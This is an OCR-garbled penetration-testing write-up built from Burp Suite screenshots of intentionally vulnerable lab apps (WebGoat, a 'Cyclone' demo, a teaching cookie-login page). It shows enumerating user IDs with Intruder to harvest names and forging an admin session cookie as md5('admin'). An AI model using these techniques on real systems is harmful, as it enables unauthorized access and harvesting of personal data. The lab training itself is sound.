3043 h 3046 h Original Raw POST /We Host: 15 USer-Age Accept: 1 Accept: 1 Accept: 2 Accept: 2 Accep	http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 Params Headers Hex abGoat/attack?Screen Sc.160.222.136 http://182.168.222 http://192.168.221 http://192.168.221 -Length: 36 http://192.168.221 -Length: 36 http://192.168.222 -Insecure-Requests: a_id=1026action=Delia	POST GET Response ==656menu=20 .ndows NT 10 .on/xhtml+xm [=0.5 .135/WebGoa :.135/WebGoa ::135/WebGoa ::135/WebGoa ::135/WebGoa ::100, 100, 100, 100, 100, 100, 100, 100	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle js 10 HTTP/1.1 1.0; Win64; x64; rv:58.0) Gecko/ 1, application/xml;q=0.9,*/*;q=0 at/attack?Screen=65&menu=200 riencoded (;,4-,5-,6-&advancedstuff=0-,1-, Server=b3dhc3Bid2E; JSESSIONID 2F0	V V 20100101 Firef .9 2-; security_1 =\$151225304320 Emenu=200	200 304 ox/58.0 evel=0; a ReFASAAIR	33531 230	HTML script	js ngset,jot	LAB:	Role Based Acces
3043 h 3046 h 3046 h Original Raw POST /We Host: 15 User-Age Accept-I Accept-I Accept-I Content- Content- Content- Content- Content- Content- Content- Content- Content- Content- Substant Authoriz Content- Substant Authoriz Content- Substant Authoriz Substant Substan	tip//192.168.222.136 tip//192.168.222.136 tip//192.168.222.136 Params Headers Hex bCoat/attack?Streen sol.168.202.136 ent: Mozilla/S.0 (W. text/html,applicat: impunge: en-OB,en; impunge: en-OB,en; impunge: en-OB,en; textp://192.168.222.136 dbx-postmeta=grabit 1D=4 fm02 frqqdmii61s; action: Basic d2V12; insecure-Requests: =_id=1024action=De1; http://192.168.222.136 http://192.168.222.136	POST GET Response ==654menu=20 .ndows NT 10 .on/xhtml+xm [=0.5 .136/WebGoa :-www-form-u :=0-,1-,2-,3 .9hdDp32WJnb 1 : :teProfile	WebGoat/attack?Screen=65&menu=200 WebGoat/javascript/toggle js 00 HTTP/1.1 10.0; Win64; x64; rv:58.0) Gecko/ 11, application/xml;q=0.9,*/*;q=0 tt/attack?Screen=65&menu=200 riencoded (-,4-,5-,6-&advancedstuff=0-,1-, Server=b3dhc3Bid2E; JSESSIONID 270 OST WebGoat/attack?Screen=65	<pre></pre>	200 304 ••••=0; a €6FA5AA1F	33531 230 	HTML script	js .gset,jot 33531	LAB:	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 15 User-Age Accept-1 Accept-1 Accept-2 Content- Content- Content- Content- Content- Content- Content- Content- Content- Content- Source PHDSESSI Authoris Connecti Upgrade- employee 3043 3046	<pre>ity/192.168.222.136 ittp://192.168.222.136 ittp://192.168.222.136 Params Headers Hex bbGoat/attack?Screer Sc.160.222.136 ittp://192.160.221.136 ittp://192.160.221 Type: application/: Length: 36 ittp://192.168.222.136 ittp://192.168.222.136 ittp://192.168.222.136</pre>	POST GET Response ==656menu=20 .ndows NT 10 .on/xhtml+xm ==0.5 .ate :.136/WebGoa ::136/WebGoa :1	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle js 0 HTTP/1.1 1.0; Win64; x64; rv:58.0) Gecke/ 1, application/xml;q=0.9, */*;q=0 tc/attack?Screen=65&menu=200 rlencoded -,4-,5-,6-£advancedstuff=0-,1-, Server=b3dhc3Bid2E=; JSESSIONID 270 OST //WebGoat/attack?Screen=65 ET //WebGoat/javascript/toggle js</pre>	V V 20100101 Firef 8 2-; security_1 =B151205304320 Smenu=200	200 304 ••••==0; a EGFASAAIF	33531 230 230 46820289 ✓ 20 30	HTML script	js .gset,jot 33531 230	LAB: .to,phpbb2, HTML script	Role Based Acces ,redmine; acgroupswithpersist=nada; LAB: Role Based Acces js
3043 h 3046 h Original Raw POST /We Host: 15 USST-Age Accept-1 Accept-1 Accept-2 Content- Content- Content- Coolais: PHDSESSI Authoriz Connecti Upgrade- employee 3043 3046	http://192.168.222.136 http://192.168.222.136 Params Headers Hex abGoat/attackr?Screen 20.168.222.136 http://192.168.222.136 http://192.168.221 Encoding: gsip, def. http://192.168.221 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136	POST GET Response ==656menu=20 .ndovs NT 10 .on/xhtml+xm ate :.136/WebGoa :.136/WebGoa ::136/WebGoa ::136/WebGoa ::136/WebGoa ::10, 1-, 2-, 3 :70022gnhk0; :ShdDp32WJnb 1 :teProfile G	<pre>///webGoat/attack?Screen=65&menu=200 //webGoat/javascript/toggle js ///webGoat/javascript/toggle js /// ////////////////////////////////</pre>	V V 20100101 Firef .8 2-; security 1 =8151205304320 Smenu=200	200 304 0x/58.0 €VE1=0; a EGFA9AA15	33531 230 	HTML script ids=swin 98	js .gset,jot 33531 230	LAB: to,phpbb2, HTML script	Role Based Acces
3043 h 3046 h Original Raw POST /We Host: 15 USer-Age Accept-1 Accept-1 Accept-2 Content- Content- Content- Cookie: PHDSESSI Authoriz Connecti Upgrade- employee 3043 3046	http://192.168.222.136 http://192.168.222.136 Params Headers Hex bGoat/attackr25cree 92.160.222.136 http://192.136 http://192.168.222 Sncoding: gsip, def. http://192.168.221 http://192.168.222 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136 http://192.168.222.136	POST GET Response ==656menu=20 .ndows NT 10 .on/xhtml+xm ==0.5 .ate :.136/WebGoa ::136/WebGoa ::136/WebGoa ::136/WebGoa ::136/WebGoa ::12,27,3 ::1	<pre>//WebGoat/attack?Screen=65&menu=200 //WebGoat/javascript/toggle js /// WebGoat/javascript/toggle js // // // // // // // // // // // // //</pre>	V V 20100101 Firef .9 2-; security_1 =B151205304320 3menu=200	200 304 ox/58.0 evel=0; a E6FA5AAIF	33531 230 4600 endiv 1468 CD CB9	HTML script	js .gset,jot 33531 230	LAB:	Role Based Acces ,redmine; acgroupswithpersist=mada; LAB: Role Based Acces js

Stage 2: Add Business Layer Access Control.

/>Implement a fix to deny unauthorized access to the Delete function. To do this, you will have to alter the WebGoat code. Once you have done DeleteProfile functionality is properly denied.

//implement a fix to deny unauthorized access to the Delete function. To do this, you will have to alter the WebGoat code. Once you have done DeleteProfile functionality is properly denied.

//implement a fix to deny unauthorized access to the Delete function. To do this, you will have to alter the WebGoat code. Once you have done DeleteProfile functionality is properly denied.

//implement a fix to deny unauthorized access to the Delete function. To do this, you will have to alter the WebGoat code. Once you have done DeleteProfile functionality is properly denied.

//implement a fix to deny unauthorized access to the Delete function. To do this, you will have to alter the WebGoat code. Once you have done DeleteProfile functionality is properly denied.

//implement a fix to deny unauthorized access to the Delete function. To do this, you will have to alter the WebGoat code. Once you have done DeleteProfile functionality is properly denied.

//div>

3. Testing for Insecure Direct Object References

Raw Headers Hex HTML Render

Insecure Direct Object References occur when an application provides direct access to objects based on user-supplied input. As a result of this vulnerability attackers can bypass authorization and access resources in the system directly, for example database records or files.

Insecure Direct Object References allow attackers to bypass authorization and access resources directly by modifying the value of a parameter used to directly point to an object. Such resources can be database entries belonging to other users, files in the system, and more. This is caused by the fact that

e application takes user supplied input and uses it to retrieve an object without performing sufficient authorization checks.

How to Test

- Map out all locations in the application where user input is used to reference objects directly. The best way to test for direct object references would be by having at least two or more users to cover different own objects and functions.
- The value of a parameter is used directly to retrieve a database record
- The value of a parameter is used directly to perform an operation in the system
- The value of a parameter is used directly to retrieve a file system resource
- The value of a parameter is used directly to access application functionality

Test example



CAUTION: This is an intentionally broken web application. Please do NOT use any real information

Target Moxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts	
intercospt MTTP history WebSockets history Options	
Request to http://192.168.222.136.80	
Forward Drop Intercept is on Action	Comment this item
Raw Params Headers Hex	
<pre>EET /cyclone/users/4 HTTP/1.1</pre>	
Host: 192.168.222.136	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0	
<pre>kccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</pre>	
<pre>&ccept-Language: en-GB,en;q=0.5</pre>	
Accept-Encoding: gzip, deflate	
Referer: http://192.168.222.136/cyclone/	
Cookie: dbx-postmeta=grabit=0-,1-,2-,3-,4-,5-,6-&advancedstuff=0-,1-,2-; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada;	
<pre>PHPSESSID=lovuarr18t2luoo5b99m3qom34; Server=b3dhc3Bid2E=; JSESSIONID=E151225304320E6FA9AA1F46E2D2B998;</pre>	
_cyclone_session=BAh7BOkiD3HLc3Npb25faWQG0g2FEkkiJTQ3ZWJiNDJhYmYxMDc1MWJhNjE2ZDHOHjg4YTQxNDQyBjsAVEkiEF9jc3JmX3Rva2VuBjsARkkiMThTbnhnZOMzSHhVS1ViZnlydk50V0srcmhpSVJZW	HBoWWdjSEdzdUphYVk9BjsAR
g%3D%3D21eaa662a815394f3798f898bc19ce77f34497bc; remember_token=Stu37BrvdLCcPfSwaD7x4g	
Connection: close	
Upgrade-insecure-kequests: 1	

Targ	et Proxy	Spider Scann	er Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts						
1 ×	2 ×																
Targ	et Positions	Payloads (Options														
?	Payload F	Positions e positions where	e payloads wil	l be inserted	into the base r	equest. The	attack type de	termines the	way in which pa	yloads are assign	ned to paylo	oad positions - see help f	or full details.				Start attack
	Attack type:	Sniper														•)
	GET /cyc Host: 19 User-Agen Accept: 4 Accept-E: Referer: Cookie: 9 PHPSESSII _cyclone HBoWWdjS Connecti Upgrade-	lone/users/§ 2.168.222.13 nt: Mozilla/ text/html,ap ncoding: gsi http://192. 	4\$ HTTP/1. 6 5.0 (Windo plication/ GB,en;q=0. 9, deflate 168.222.13 =grabit=0- 21uoo5b95m 7B00kiD3N1c jsARg\$3D\$3 uests: 1	1 ws NT 10. %html+xml 5 86/cyclone -,1-,2-,3- 83gom34; 5 33gpm34; 5 33gpb25fal 8D2leaaf	0; Win64; 1, applicat; 4/ -,4-,5-,6-4 Server=b3dt 7060g2FBhH; 562a815394;	x64; rv: .on/xml;q advanced c3Bid2E= JTQ3ZWJi 3798f898	58.0) Gec =0.9,*/*; stuff=0-, ; JSESSIO NDJhYmYxH bcl9ce77f	ro/201001 q=0.8 1-,2-; se NID=E1512 Dc1HWJhNj 34497bc;	Ol Firefox/5 curity_level 25304320E6FA E22DHOHjg4YT remember_tok	8.0 =0; acopendi 9AA1F46ECDCE QxNDQyBjsAVB en=Stu37Brvd	vids=swi 998; hiEF9jci LCcPfSwa	ingset, jotto, phphk 3JmX3Rva2VuBjsARkk aD7x4g	b2,redmine; au	rgroupswith SHhVS1ViZn.	ersist=nada; Lydh:50V0srcmh	₽S¥JZ¥	Add § Clear § Auto § Refresh

Target	Proxy	Spider	Scanner	Intruder	Repeater	Sequencer	Decoder	Comparer	Extender	Project options	User options	Alerts	
1 ×	2 × [
Target	Position	s Pavio	ads Opti	ons									

? Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and each payload type can be customized in different ways.

Payload set:
Payload count: 1,000 Payload type: Numbers Request count: 1,000

Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

ype:	Sequential O Random
rom:	1
0:	1000
tep:	1

(i) 192.168.222.136/cyclone/users/4 Attack Save Columns



OVOLONE TRANSFER		Target Feelacite Fayleade e	ptione					
CTCLONE TRANSFER	Filter: Show	ving all items						
	Request	Payload	Status	Error	Timeout	Length	Comment	
Mardau Dartan	6	6	200			7785		
Marley Barton	7	7	200			7777		
	8	8	200			7793		
	9	9	200			7783		
	3	3	200			7791		
	10	10	200			7795		
	11	11	200			7795		
	12	12	200			7789		
	13	13	200			7807		
	14	14	200			7797		
	15	15	200			7789		
	16	16	200			7791		
	17	17	200			7785		

Start attack

Request Response

Raw Headers Hex HTML Render

Results Target Positions Payloads Options

<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1">
<meta name="viewport" content="width=device=vidth, initial=scale=1.0">
<title>Cyclone Transfers | Mr. Brody Bashirian</title>

<script src="http://html5shim.googlecode.com/svn/trunk/html5.js" type="text/javascript"></script>
</[endif]-->

ick Sa	ve Colum	ns					
esults	Target	Positions	Payloads	Options			
Mat	tch type:	Simple st Regex	tring				
	Case ser	nsitive match					
\checkmark	Exclude I	HTTP header	s				
		- 🚯 De	efine extract	grep item			×
Gr	ep - Ext	gs c	Define the automatica	location of the item Ily. You can also m	to be extracted. Selecting the odify the configuration manual	item in the response panel will create a suitable cor ly to ensure it works effectively.	Ifiguration
	Extract th	ne fo	Defin	e start and end —		Extract from regex group	
	Add		Star	t after expression:	<title>Cyclone Transfers</title>	\.0">\n (.*?) \ Marley	
	Edit		◯ Start	t at offset:	1110	Case sensitive	
	Duplicate		End	at delimiter:			
	Up		O End	at fixed length:	24		
	Down		Exclud	e HTTP headers 🗹) Update config based on sele	ection below Refet	ch response
Ma	ximum cap	oture	2	< + >	Type a search term		0 matches
						ОК	Cancel

🚯 Intruder attack 1

Attack Sa	ve Columns							
Results	Target Positions	Payloads Options						
Filter: Showing all items								
Request	Payload	Status	Error	Timeout	Length	<title> Cyclone Tranfer V</title>		
102	102	200			7766	abc		
101	101	200			7762	a		
62	62	200			7781	Yvonne Hahn		
86	86	200			7783	Watson Boyer		
9	9	200			7783	Virgie Ortiz		
90	90	200			7787	Verna Champlin		
53	53	200			7789	Tremaine Heaney		
18	18	200			7785	Tatum Okuneva		
21	21	200			7785	Sydnie Schultz		
57	57	200			7783	Sydnee Hamill		
81	81	200			7789	Stefanie Hamill		
61	61	200			7783	Sim Wolf III		
35	35	200			7779	Sasha Koss		
48	48	200			7783	Samara Davis		
85	85	200			7801	Sabina Schamberger III		
68	68	200			7785	Ryder Wuckert		
44	44	200			7783	Rusty Wisozk		
27	27	200			7789	Riley Friesen II		
31	31	200			7785	Rickey Cronin		

Session Management Testing

1. Testing for Bypassing Session Management Schema

In this test, the tester has to check whether the cookies issued to clients can resist range of attacks aimed to interfere with the sessions of legitimate users and with the application itself. The overall goal is to be able to forge a that will be considered valid by the application and that will provide some kind of unauthorized access.

How to test

Usually the main steps of the attack pattern are the following:

- Cookie collection: collection of a sufficient number of cookie samples
- Cookie reverse engineering: analysis of the cookie generation algorithm
- Cookie manipulation: forging of a valid cookie in order to perform the attack, this last step might require a large number of attempts, depending on how the cookie is created (cookie brute force attack)

Test example

← → ♂ ଢ	🛈 🔒 https://attack.samsclass.info/cookielogin/index.html
Cookie Login Pag	ge
CLOUDFLARE	
Name: root	
Password: toor	
Submit Query	
Logins to try	
root toor	
admin password	
Last revised 10-10-14 1:04 pm by Sa	am Bowne

Cookie Collection



3431	https://attack.samsclass.info	HEAD	/cookielogin/messageboard.php	2
Req	uest Response			
Raw	Params Headers Hex			
HEAD	/cookielogin/messageboard	.php HT1	FP/1.1	
Host:	attack.samsclass.info			
User-	Agent: Mozilla/5.0 (Windo	ws NT 10	0.0; Win64; x64; rv:58.0) Gecko/20100101	
Firef	ox/58.0			
Accep	t: */*			
Accep	t-Language: en-GB,en;q=0.	5		
Accep	t-Encoding: gzip, deflate			
Refer	er: https://attack.samscl	ass.info	o/cookielogin/messageboard.php	
Cooki	e: .ASPXAUTH <mark>=63a9f0ea7bb9</mark>	80507961	p649e85481845;	
AUTH=	63a9f0ea7bb98050796b649e8	5481845	;	
cfd	uid=d725a8b09f8f0aa2f49cf	5c086130	2008a1513578976	
Conne	ction: close			

Cookie Reverse Engineering

Cookie manipulation

Guess administrator's username admin have cookie like below:

Cookie = md5(admin)=

21232f297a57a5a743894a0e4a801fc3

	https://attack.samsclass.info	GET	/cookielogin/messageboard.php	~	200	1857	HTML	php	Message Board
3437	https://ajax.cloudflare.com	GET	/cdn-cgi/nexp/cloudflare.js		304	519	script	js	
3438	https://attack.samsclass.info	HEAD	/cookielogin/messageboard.php		200	265	HTML	php	
						_			
Origin	nal request Edited request F	Response							
	Desema Headers Her								
Raw	Params Headers Hex								
GET /c Host	ookielogin/messageboar attack samsclass info	d.php HTTP	/1.1						
User-A	gent: Mozilla/5.0 (Win	dows NT 10	.0; Win64; x64; rv:58.0) Gecko/20100)101 Firefox	/58.0				
Accept	: text/html, application	n/xhtml+xm	l,application/xml;q=0.9,*/*;q=0.8						
Accept	-Encoding: gzip, deflat	u.s te							
Refere	r: https://attack.sams	class.info	/cookielogin/index.html						
Cookie	: .ASPXAUTH=63a9f0ea7b) tion: close	b98050796b	649e85481845; AUTH =63a9f0ea7bb980507	/96b649e8548	1845;	_cfduid=	1725a8b09	f8f0aa2f49	cf5c08613c008a1513578976
Upgrad	le-Insecure-Requests: 1								
Cache-	Control: max-age=0								
2420	https://attack.compelant.info	OFT	lassising mass see hourd she		200	4957	UTM		Nasaaa Baard
3437	https://aiax.cloudflare.com	GET	/cdn-cgi/nexp/cloudflare.is	v	304	519	script	is	message board
3438	https://attack.samsclass.info	HEAD	/cookielogin/messageboard.php		200	265	HTML	php	
Origin	nal request Edited request F	Response				_			
Raw	Parame Headers Hey								
CRT (a	Tarania neaders nex	d mbm UTTD	(1.1						
Host:	attack.samsclass.info	a.php mm	/1.1						
User-A	gent: Mozilla/5.0 (Wind	dows NT 10	.0; Win64; x64; rv:58.0) Gecko/20100	0101 Firefox	/58.0				
Accept	: text/html,application	n/xhtml+xm	l,application/xml;q=0.9,*/*;q=0.8						
Accept	-Encoding: gzip, deflat	u.a							
		~~							
Refere	r: https://attack.sams	class.info	/cookielogin/index.html						
Refere Cookie Connec	r: https://attack.sams : .ASPXAUTH=21232f297a. tion: close	class.info 57a5a74389	/cookielogin/index.html 4 <mark>a0e4a801fc3;</mark> <mark>AUTH=</mark> 21232f297a57a5a74	13894a0e4a80	lfc3; _	_cfduid=	1725a8b09	f8f0aa2f49	cf5c08613c008a1513578976
Refere Cookie Connec Upgrad	r: https://attack.sams : . <mark>ASPXAUTH=21232f297a</mark> tion: close le-Insecure-Requests: 1	class.info 57a5a74389	/cookielogin/index.html 4 <mark>a0e4a801fc3;</mark>	13894a0e4a80	lfc3; _	_cfduid=	1725a8b09	f8f0aa2f49	cf5c08613c008a1513578976
Refere Cookie Connec Upgrad Cache-	r: https://attack.sams : .ASPXAUTH=21232f297a tion: close le-Insecure-Requests: 1 Control: max-age=0	class.info 57a5a74389	/cookielogin/index.html 4a0e4a801fc3; AUTH=C1C3CfC97a57a5a74	13894a0e4a80	lfc3; _	_cfduid=	1725a8b09	f8f0aa2f49	cf5c08613c008a1513578976
Refere Cookie Connec Upgrad Cache-	r: https://attack.sams : .ASD/AUTH=C1202f297a tion: close de-Insecure-Requests: 1 Control: max-age=0	class.info 57a5a74389	/cookielogin/index.html 4a0e4a801fc3; AUTH=ClC3CfC97a57a5a74	13894a0e4a80	lfc3; _	_cfduid=	1725a8b09	f8f0aa2f49	cf5c08613c008a1513578976
Refere Cookie Connec Upgrad Cache-	<pre>r: https://attack.sams. : .ASPXAUTH=1132f297a tion: close le-Insecure-Requests: 1 Control: max-age=0</pre>	class.info 57a5a74389	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74	13894a0e4a80	lfc3; _	_cfduid=	1725a8b09	f8f0aa2f49	cf5c08613c008a1513578976
Refere Cookie Connec Upgrad Cache- 3436 3437	<pre>r: https://attack.sams. . ASPXAUTH=1232f257a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.info</pre>	GET GET	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdu.coi/nexu/cloudfare is	13894a0e4a80 √	200 304	_cfduid= 1857 519	1725a8b09 HTML	f8f0aa2f49 php	cf5c08613c008a1513578976 Message Board
Refere Cookie Connec Upgrad Cache- 3436 3437 3438	r: https://attack.sams. : .ASPXAUTH=11232f257a tion: close le-Insecure=Requests: 1 Control: max-age=0 https://attack.samsclass.info https://ajax.cloudflare.com https://ajax.cloudflare.com	GLASS. info 57a5a74389 GET GET HEAD	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cginexp/cloudfare.js /cookielogin/messageboard.php	13894a0e4a80 √	200 200 304 200	_cfduid= 1857 519 265	1725a8b09 HTML script HTML	f8f0aa2f49 php js oho	ef5c08613c008a1513578976 Message Board
Refere Cookie Connec Upgrad Cache- 3436 3437 3438	<pre>r: https://attack.sams. : .ASPXAUTH=112311577a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://ajax.cloudflare.com https://attack.samsclass.info</pre>	Class.info 57a5a74389 GET GET HEAD	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 √	1fc3; _ 200 304 200	_cfduid= 1857 519 265	HTML Script	f8f0aa2f49 php js php	cfSc08613c008al513578976 Message Board
Refere Cookie Connec Upgrad Cache- 3436 3437 3438	r: https://attack.sams. : ASPXAUTH=1232f257a tion: close le-Insecure=Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info	GET GET GET HEAD	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 √	200 304 200	_cfduid= 1857 519 265	HTML HTML	f8f0aa2f49 php js php	cf5c08613c008a1513578976 Message Board
Refere Cookie Connec Upgrad Cache- 3436 3437 3438 Origin	r: https://attack.sams: : ASPXAUTH=1232f397a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info	GET GET GET HEAD	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudTare.js /cookielogin/messageboard.php	13894a0e4a80 √	200 304 200	_cfduid= 1857 519 265	HTML Script HTML	f8f0aa2f49 php js php	cf5c08613c008a1513578976 Message Board
Refere Cookie Connec Upgrad Cache- 3436 3437 3438 Corigin Raw	r: https://attack.sams. : .ASPXAUTH=01030f097a tion: close le-Insecure=Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info	GET GET GET HEAD Response	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 ✓	1fc3; 200 304 200	_cfduid= 1857 519 265	HTML Script HTML	f8f0aa2f49 php js php	cfSc08613c008a1513578976 Message Board
Refere Coohie Connec Upgrad Cache- 3436 3437 3438 Corigin Raw	r: https://attack.sams. : .ASPXAUTH=1132f257a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info	GET GET GET HEAD Response Render	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 ✓	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8f0aa2f49 php js php	cf5c08613c008a1513578976 Message Board
Refere Coohie Connec Upgrad Cache- 3436 3437 3438 Corigi Raw	r: https://attack.sams : .ASPXAUTH=1232f257a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://ajax.cloudflare.com https://ajax.cloudflare.com https://attack.samsclass.info mai.request Edited request Headers Hex HTML [] Ssage Board	GET GET GET HEAD Response Render	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 √	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8f0aa2f49 php js php	ef5c08613c008a1513578976 Message Board
Refere Connec Upgrad Cache- 3436 3437 3438 Corigin Raw Me	r: https://attack.sams. : ASPXAUTH=1132f297a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info	Class.info 57a5a74389 GET GET HEAD Response Render	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 ✓	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8fDaa2f49 php js php	ef5c08613c008a1513578976 Message Board
Refere Cookie Connec Upgrad Cache- 3436 3437 3438 Corigi Raw Me AUTH	r: https://attack.sams. : .ASPXAUTH=1232f257a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info intergreat Edited request Headers Hex HTML I ssage Board I COOKIE: 21232f297a57a5	Class.info 57a5a74389 GET GET HEAD Response Render 5a743894a04	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 ✓	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8f0aa2f49 php js php	Message Board
Refere Combec Combec Upgrad Cache- 3436 3437 3438 3438 3438 3438 3438 343 3438 343 3438 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 343 4 1 1 1 1 1 1 1 1 1 1	r: https://attack.sams. : .ASPXAUTH=1232f257a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info https://attack.samsclass.info mal.request Edited request Headers Hex HTML 1 ssage Board I COOKIE: 21232f297a57a5	GET GET GET HEAD Response Render	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 ✓	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8f0aa2f49 php js php	Message Board
Refere Connec Upgrad Cache- 3436 3437 3438 Corigi Raw Me AUTH Welc	r: https://attack.sams. : ASPXAUTH=21232f297a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.	GET GET GET GET HEAD Response Render 5a743894a04 nument:	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80 ✓	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8fDaa2f49 php js php	ef5c08613c008a1513578976 Message Board
Refere Cookie Comme Upgrad Cache- 3436 3437 3438 Corigi Raw Auth Welco	r: https://attack.sams. : ASPXAUTH=1232f297a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://ajax.cloudflare.com https://ajax.cloudflare.com https://attack.samsclass.info	Cer Ger HEAD Response Sa743894a00 nument:	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php //cookielogin/messageboard.php	13894a0e4a80 ✓	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8fDaa2f49 php js php	ef5c08613c008a1513578976 Message Board
Refere Connie Connie Upgrad Cache- 3436 3437 3438 Corigi Raw Auth Welco	r: https://attack.sams. : ASPXAUTH= <u>ll32f297a</u> tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://ajax.cloudflare.com https://ajax.cloudflare.com https://attack.samsclass.info https://attack.samsclass.in	Cer GET GET HEAD Response Render 5a743894a00 mment:	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudflare.js /cookielogin/messageboard.php /dn-gWnexp/cloudflare.js /cookielogin/messageboard.php	13894a0e4a80	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8fDaa2f49 php js php	ef5c08613c008a1513578976 Message Board
Refere Connec Upgrad Cache- 3436 3437 3438 Corigin Raw Raw AUTH Welc	r: https://attack.sams : ASPXAUTH=01030f097a tion: close le-Insecure-Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.	GET GET GET HEAD Response Render 5a743894a00 mment:	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgi/nexp/cloudflare.js /cookielogin/messageboard.php s4a801fc3	13894a0e4a80	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8fDaa2f49 php js php	ef5c08613c008a1513578976 Message Board
Refere Connec Upgrad Cache- 3436 3437 3438 Corigin Raw Me AUTH Welco	r: https://attack.sams. : ASPXAUTH=01030f097a tion: close te-Insecure=Requests: 1 Control: max-age=0 https://attack.samsclass.info https://attack.samsclass.	GET GET GET GET HEAD Response Render 5a743894a0a nument:	/cookielogin/index.html 4a0e4a801fc3; AUTH=21232f297a57a5a74 /cookielogin/messageboard.php /cdn-cgWnexp/cloudflare.js /cookielogin/messageboard.php s4a801fc3	13894a0e4a80	200 304 200	_cfduid= 1857 519 265	HTML script HTML	f8f0aa2f49 php js php	Message Board
